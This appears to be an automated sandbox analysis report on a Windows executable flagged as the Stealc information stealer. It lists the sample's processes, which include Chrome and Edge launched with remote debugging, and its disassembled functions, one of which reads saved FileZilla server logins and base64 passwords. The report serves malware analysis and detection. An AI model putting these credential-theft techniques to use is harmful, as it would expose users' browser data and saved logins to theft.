6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1qjf60ICJEWb0IM5.2Context: ec287a759ec59160<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:54:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 71 6a 66 36 30 49 43 4a 45 57 62 30 49 4d 35 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 32 38 37 61 37 35 39 65 63 35 39 31 36 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1qjf60ICJEWb0IM5.3Context: ec287a759ec59160<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:54:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:54:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 6f 2f 6c 7a 47 7a 64 71 45 75 30 7a 6f 4d 72 58 2f 44 66 6d 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Jo/lzGzdqEu0zoMrX/Dfmg.0Payload parsing failed.

Target ID:	0
Start time:	16:51:56
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\2BI8rJKpBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2BI8rJKpBa.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	EA2C30769D298E35BA11CD5C5ED2B04F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2120537180.0000000002350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2668225897.0000000000790000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:52:05
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:52:05
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2364,i,17297783172009695929,5993235832865842761,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:52:15
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:52:16
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:52:16
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2536,i,13277386480959018772,6460262019571624917,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:52:16
Start date:	20/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2108,i,17217898156853852686,11675728796039050875,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:52:45
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2348
Imagebase:	0x710000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:52:46
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 2372
Imagebase:	0x710000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	40.4%
Signature Coverage:	15.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	135

Executed Functions

Function 00426710 Relevance: 214.2, APIs: 115, Strings: 7, Instructions: 696
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,008062B0), ref: 00426725
GetProcAddress.KERNEL32(76210000,00806490), ref: 0042673D
GetProcAddress.KERNEL32(76210000,00809E08), ref: 00426756
GetProcAddress.KERNEL32(76210000,00809B50), ref: 0042676E
GetProcAddress.KERNEL32(76210000,00809C70), ref: 00426786
GetProcAddress.KERNEL32(76210000,00809E68), ref: 0042679F
GetProcAddress.KERNEL32(76210000,0080BF80), ref: 004267B7
GetProcAddress.KERNEL32(76210000,00809E50), ref: 004267CF
GetProcAddress.KERNEL32(76210000,00809E80), ref: 004267E8
GetProcAddress.KERNEL32(76210000,00809E98), ref: 00426800
GetProcAddress.KERNEL32(76210000,00809EE0), ref: 00426818
GetProcAddress.KERNEL32(76210000,00806450), ref: 00426831
GetProcAddress.KERNEL32(76210000,00806390), ref: 00426849
GetProcAddress.KERNEL32(76210000,00806330), ref: 00426861
GetProcAddress.KERNEL32(76210000,00806190), ref: 0042687A
GetProcAddress.KERNEL32(76210000,00809EB0), ref: 00426892
GetProcAddress.KERNEL32(76210000,00809EC8), ref: 004268AA
GetProcAddress.KERNEL32(76210000,0080BD28), ref: 004268C3
GetProcAddress.KERNEL32(76210000,00806270), ref: 004268DB
GetProcAddress.KERNEL32(76210000,00809EF8), ref: 004268F3
GetProcAddress.KERNEL32(76210000,00809F10), ref: 0042690C
GetProcAddress.KERNEL32(76210000,008106C0), ref: 00426924
GetProcAddress.KERNEL32(76210000,008106A8), ref: 0042693C
GetProcAddress.KERNEL32(76210000,00806290), ref: 00426955
GetProcAddress.KERNEL32(76210000,00810678), ref: 0042696D
GetProcAddress.KERNEL32(76210000,008105D0), ref: 00426985
GetProcAddress.KERNEL32(76210000,008104E0), ref: 0042699E
GetProcAddress.KERNEL32(76210000,00810558), ref: 004269B6
GetProcAddress.KERNEL32(76210000,00810660), ref: 004269CE
GetProcAddress.KERNEL32(76210000,008104C8), ref: 004269E7
GetProcAddress.KERNEL32(76210000,00810738), ref: 004269FF
GetProcAddress.KERNEL32(76210000,00810600), ref: 00426A17
GetProcAddress.KERNEL32(76210000,008105E8), ref: 00426A30
GetProcAddress.KERNEL32(76210000,0080D2F8), ref: 00426A48
GetProcAddress.KERNEL32(76210000,00810618), ref: 00426A60
GetProcAddress.KERNEL32(76210000,008104F8), ref: 00426A79
GetProcAddress.KERNEL32(76210000,008062D0), ref: 00426A91
GetProcAddress.KERNEL32(76210000,00810630), ref: 00426AA9
GetProcAddress.KERNEL32(76210000,008062F0), ref: 00426AC2
GetProcAddress.KERNEL32(76210000,00810690), ref: 00426ADA
GetProcAddress.KERNEL32(76210000,00810648), ref: 00426AF2
GetProcAddress.KERNEL32(76210000,008063B0), ref: 00426B0B
GetProcAddress.KERNEL32(76210000,008063F0), ref: 00426B23
LoadLibraryA.KERNEL32(00810708,0042067A), ref: 00426B35
LoadLibraryA.KERNEL32(008106F0), ref: 00426B46
LoadLibraryA.KERNEL32(00810570), ref: 00426B58
LoadLibraryA.KERNEL32(008106D8), ref: 00426B6A
LoadLibraryA.KERNEL32(00810720), ref: 00426B7B
LoadLibraryA.KERNEL32(00810750), ref: 00426B8D
LoadLibraryA.KERNEL32(00810468), ref: 00426B9F
LoadLibraryA.KERNEL32(00810480), ref: 00426BB0
GetProcAddress.KERNEL32(751E0000,00806430), ref: 00426BCC
GetProcAddress.KERNEL32(751E0000,00810498), ref: 00426BE4
GetProcAddress.KERNEL32(751E0000,008097A8), ref: 00426BFD
GetProcAddress.KERNEL32(751E0000,00810588), ref: 00426C15
GetProcAddress.KERNEL32(751E0000,00806470), ref: 00426C2D
GetProcAddress.KERNEL32(700F0000,0080BD50), ref: 00426C4D
GetProcAddress.KERNEL32(700F0000,00806610), ref: 00426C65
GetProcAddress.KERNEL32(700F0000,0080BD78), ref: 00426C7E
GetProcAddress.KERNEL32(700F0000,008104B0), ref: 00426C96
GetProcAddress.KERNEL32(700F0000,00810510), ref: 00426CAE
GetProcAddress.KERNEL32(700F0000,00806750), ref: 00426CC7
GetProcAddress.KERNEL32(700F0000,00806690), ref: 00426CDF
GetProcAddress.KERNEL32(700F0000,00810528), ref: 00426CF7
GetProcAddress.KERNEL32(753A0000,00806590), ref: 00426D13
GetProcAddress.KERNEL32(753A0000,00806510), ref: 00426D2B
GetProcAddress.KERNEL32(753A0000,008105A0), ref: 00426D44
GetProcAddress.KERNEL32(753A0000,00810540), ref: 00426D5C
GetProcAddress.KERNEL32(753A0000,00806650), ref: 00426D74
GetProcAddress.KERNEL32(76310000,0080BFF8), ref: 00426D94
GetProcAddress.KERNEL32(76310000,0080BDA0), ref: 00426DAC
GetProcAddress.KERNEL32(76310000,008105B8), ref: 00426DC5
GetProcAddress.KERNEL32(76310000,00806730), ref: 00426DDD
GetProcAddress.KERNEL32(76310000,00806770), ref: 00426DF5
GetProcAddress.KERNEL32(76310000,0080BE18), ref: 00426E0E
GetProcAddress.KERNEL32(76910000,00810828), ref: 00426E2E
GetProcAddress.KERNEL32(76910000,008065F0), ref: 00426E46
GetProcAddress.KERNEL32(76910000,00809788), ref: 00426E5F
GetProcAddress.KERNEL32(76910000,008107C8), ref: 00426E77
GetProcAddress.KERNEL32(76910000,00810810), ref: 00426E8F
GetProcAddress.KERNEL32(76910000,008066D0), ref: 00426EA8
GetProcAddress.KERNEL32(76910000,008066B0), ref: 00426EC0
GetProcAddress.KERNEL32(76910000,00810768), ref: 00426ED8
GetProcAddress.KERNEL32(76910000,008107E0), ref: 00426EF1
GetProcAddress.KERNEL32(76910000,CreateDesktopA), ref: 00426F07
GetProcAddress.KERNEL32(76910000,OpenDesktopA), ref: 00426F1E
GetProcAddress.KERNEL32(76910000,CloseDesktop), ref: 00426F35
GetProcAddress.KERNEL32(75B30000,00806630), ref: 00426F51
GetProcAddress.KERNEL32(75B30000,008107F8), ref: 00426F69
GetProcAddress.KERNEL32(75B30000,00810780), ref: 00426F82
GetProcAddress.KERNEL32(75B30000,00810798), ref: 00426F9A
GetProcAddress.KERNEL32(75B30000,008107B0), ref: 00426FB2
GetProcAddress.KERNEL32(75670000,00806570), ref: 00426FCE
GetProcAddress.KERNEL32(75670000,00806810), ref: 00426FE6
GetProcAddress.KERNEL32(76AC0000,00806550), ref: 00427002
GetProcAddress.KERNEL32(76AC0000,00810A38), ref: 0042701A
GetProcAddress.KERNEL32(6F4E0000,00806890), ref: 0042703A
GetProcAddress.KERNEL32(6F4E0000,00806670), ref: 00427052
GetProcAddress.KERNEL32(6F4E0000,00806790), ref: 0042706B
GetProcAddress.KERNEL32(6F4E0000,00810A08), ref: 00427083
GetProcAddress.KERNEL32(6F4E0000,008067B0), ref: 0042709B
GetProcAddress.KERNEL32(6F4E0000,008066F0), ref: 004270B4
GetProcAddress.KERNEL32(6F4E0000,00806530), ref: 004270CC
GetProcAddress.KERNEL32(6F4E0000,00806710), ref: 004270E4
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 004270FB
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00427112
GetProcAddress.KERNEL32(75AE0000,008108D0), ref: 0042712E
GetProcAddress.KERNEL32(75AE0000,00809838), ref: 00427146
GetProcAddress.KERNEL32(75AE0000,00810AE0), ref: 0042715F
GetProcAddress.KERNEL32(75AE0000,008109C0), ref: 00427177
GetProcAddress.KERNEL32(76300000,008067D0), ref: 00427193
GetProcAddress.KERNEL32(6E820000,00810AF8), ref: 004271AF
GetProcAddress.KERNEL32(6E820000,008067F0), ref: 004271C7
GetProcAddress.KERNEL32(6E820000,00810930), ref: 004271E0
GetProcAddress.KERNEL32(6E820000,00810A20), ref: 004271F8

Strings

InternetSetOptionA, xrefs: 004270F0
1#v, xrefs: 00426A0B
CreateDesktopA, xrefs: 00426F01
CloseDesktop, xrefs: 00426F2A
HttpQueryInfoA, xrefs: 00427107
P2#v, xrefs: 00426918
OpenDesktopA, xrefs: 00426F13

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$CreateDesktopA$HttpQueryInfoA$InternetSetOptionA$OpenDesktopA$P2#v$1#v
API String ID: 2238633743-2455241328
Opcode ID: 18f06ec82253a1cd73c2ec1a3f670578ce654a5cab6bdab06580aafc79ea48dc
Instruction ID: 5e8f617dcfce1f046e5927046fb3c2084a3d0315ca634264d659797958f0251b
Opcode Fuzzy Hash: 18f06ec82253a1cd73c2ec1a3f670578ce654a5cab6bdab06580aafc79ea48dc
Instruction Fuzzy Hash: 6F625EB9A103009FD758DF65ED88AA637BBF789345310A91DF95683364DBB4A800DFB0

Function 004015A0 Relevance: 205.9, APIs: 114, Strings: 3, Instructions: 1164stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004015E2
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00401619
lstrcpy.KERNEL32(00000000,00000000), ref: 0040166C
lstrcatA.KERNEL32(00000000), ref: 00401676
lstrcpy.KERNEL32(00000000,00000000), ref: 004016A2
lstrcpy.KERNEL32(00000000,00000000), ref: 004016EF
lstrcatA.KERNEL32(00000000,00000000), ref: 004016F9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401725
lstrcpy.KERNEL32(00000000,00000000), ref: 00401775
lstrcatA.KERNEL32(00000000), ref: 0040177F
lstrcpy.KERNEL32(00000000,00000000), ref: 004017AB
lstrcpy.KERNEL32(00000000,?), ref: 004017F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004017FE
lstrlenA.KERNEL32(00431D64), ref: 00401809
lstrcpy.KERNEL32(00000000,00000000), ref: 00401829
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401835
lstrcpy.KERNEL32(00000000,00000000), ref: 0040185B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401866
lstrlenA.KERNEL32(\*.*), ref: 00401871
lstrcpy.KERNEL32(00000000,00000000), ref: 0040188E
lstrcatA.KERNEL32(00000000,\*.*), ref: 0040189A

Part of subcall function 00424020: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 0042404D
Part of subcall function 00424020: lstrcpy.KERNEL32(00000000,?), ref: 00424082

lstrcpy.KERNEL32(00000000,00000000), ref: 004018C3
lstrcpy.KERNEL32(00000000,?), ref: 0040190E
lstrcatA.KERNEL32(00000000,00000000), ref: 00401916
lstrlenA.KERNEL32(00431D64), ref: 00401921
lstrcpy.KERNEL32(00000000,00000000), ref: 00401941
lstrcatA.KERNEL32(00000000,00431D64), ref: 0040194D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401976
lstrcatA.KERNEL32(00000000,00000000), ref: 00401981
lstrlenA.KERNEL32(00431D64), ref: 0040198C
lstrcpy.KERNEL32(00000000,00000000), ref: 004019AC
lstrcatA.KERNEL32(00000000,00431D64), ref: 004019B8
lstrcpy.KERNEL32(00000000,00000000), ref: 004019DE
lstrcatA.KERNEL32(00000000,00000000), ref: 004019E9
lstrcpy.KERNEL32(00000000,00000000), ref: 00401A11
FindFirstFileA.KERNEL32(00000000,?), ref: 00401A45
StrCmpCA.SHLWAPI(?,00431D70), ref: 00401A70
StrCmpCA.SHLWAPI(?,00431D74), ref: 00401A8A
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00401AC4
lstrcpy.KERNEL32(00000000,?), ref: 00401AFB
lstrcatA.KERNEL32(00000000,00000000), ref: 00401B03
lstrlenA.KERNEL32(00431D64), ref: 00401B0E
lstrcpy.KERNEL32(00000000,00000000), ref: 00401B31
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401B3D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401B69
lstrcatA.KERNEL32(00000000,00000000), ref: 00401B74
lstrlenA.KERNEL32(00431D64), ref: 00401B7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00401BA2
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401BAE
lstrlenA.KERNEL32(?), ref: 00401BBB
lstrcpy.KERNEL32(00000000,00000000), ref: 00401BDB
lstrcatA.KERNEL32(00000000,?), ref: 00401BE9
lstrlenA.KERNEL32(00431D64), ref: 00401BF4
lstrcpy.KERNEL32(00000000,?), ref: 00401C14
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401C20
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C46
lstrcatA.KERNEL32(00000000,00000000), ref: 00401C51
lstrcpy.KERNEL32(00000000,00000000), ref: 00401C7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401CE0
lstrcatA.KERNEL32(00000000,00000000), ref: 00401CEB
lstrlenA.KERNEL32(00431D64), ref: 00401CF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D19
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401D25
lstrcpy.KERNEL32(00000000,00000000), ref: 00401D4B
lstrcatA.KERNEL32(00000000,00000000), ref: 00401D56
lstrlenA.KERNEL32(00431D64), ref: 00401D61
lstrcpy.KERNEL32(00000000,?), ref: 00401D81
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401D8D
lstrlenA.KERNEL32(?), ref: 00401D9A
lstrcpy.KERNEL32(00000000,00000000), ref: 00401DBA
lstrcatA.KERNEL32(00000000,?), ref: 00401DC8
lstrcpy.KERNEL32(00000000,00000000), ref: 00401DF4
lstrcpy.KERNEL32(00000000,00000000), ref: 00401E3E
GetFileAttributesA.KERNEL32(00000000), ref: 00401E45
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00401E9F
lstrlenA.KERNEL32(00809A58), ref: 00401EAE
lstrcpy.KERNEL32(00000000,?), ref: 00401EDB
lstrcatA.KERNEL32(00000000,?), ref: 00401EE3
lstrlenA.KERNEL32(00431D64), ref: 00401EEE
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F0E
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401F1A
lstrcpy.KERNEL32(00000000,?), ref: 00401F42
lstrcatA.KERNEL32(00000000,00000000), ref: 00401F4D
lstrlenA.KERNEL32(00431D64), ref: 00401F58
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F75
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401F81

Strings

1#v, xrefs: 00401A45
\*.*, xrefs: 0040186C, 00401894
P2#v, xrefs: 00402344

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$AttributesFindFirstFolderPath
String ID: P2#v$\*.*$1#v
API String ID: 4127656590-2075649900
Opcode ID: f4064d1cd5ba38fa32e7f10ae5fb76b60f235c2e759158939ef6c5265745c886
Instruction ID: 94c64bf8622a467b7bdb1ac6e94fe6009d10fa6d18dfa260a965cdd5c90eb9f1
Opcode Fuzzy Hash: f4064d1cd5ba38fa32e7f10ae5fb76b60f235c2e759158939ef6c5265745c886
Instruction Fuzzy Hash: 5A926371A016169BCB21AF65CD88AAF77B9AF44704F04413AF905B72E1DB78DD01CFA8

Function 00416DE0 Relevance: 163.5, APIs: 83, Strings: 10, Instructions: 752stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00416E15
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00416E48
lstrcpy.KERNEL32(00000000,00000000), ref: 00416E82
lstrcpy.KERNEL32(00000000,00000000), ref: 00416EA9
lstrcatA.KERNEL32(00000000,00000000), ref: 00416EB4
lstrcpy.KERNEL32(00000000,00000000), ref: 00416EDD
lstrlenA.KERNEL32(\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416EF7
lstrcpy.KERNEL32(00000000,00000000), ref: 00416F19
lstrcatA.KERNEL32(00000000,\AppData\Roaming\FileZilla\recentservers.xml), ref: 00416F25
lstrcpy.KERNEL32(00000000,00000000), ref: 00416F50
lstrcpy.KERNEL32(00000000,00000000), ref: 00416F80
LocalAlloc.KERNEL32(00000040,?), ref: 00416FB5
strtok_s.MSVCRT ref: 00416FE2
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041701D
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041704D

Strings

login: , xrefs: 0041749D
<Host>, xrefs: 004170D4
url: , xrefs: 00417457
<Port>, xrefs: 0041715C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00416EF2, 00416F1F
<Pass encoding="base64">, xrefs: 0041726C
password: , xrefs: 004174C9
profile: null, xrefs: 00417448
browser: FileZilla, xrefs: 00417439
<User>, xrefs: 004171E4

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocFolderLocalPathlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 922491270-555421843
Opcode ID: 8f30fb2c426efedfa97fbd23bed329c17cfdfdd1bed6f16bb806c0ca42753a6e
Instruction ID: 984fafae9b53eced9112cf5b4b0d30dc5704f1335077277ab3050f65d8ca2838
Opcode Fuzzy Hash: 8f30fb2c426efedfa97fbd23bed329c17cfdfdd1bed6f16bb806c0ca42753a6e
Instruction Fuzzy Hash: C9429471A00615AFCB10AF75DD8DBAF7B75AF04704F14502AF901A73A1DBB8D942CBA8

Function 00406000 Relevance: 123.3, APIs: 68, Strings: 2, Instructions: 817stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040602F
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406082
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060B5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060E5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406120
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406153
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406163

Strings

", xrefs: 004065C7, 004066B5
------, xrefs: 00406289, 004062B6, 0040652E, 0040661F

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
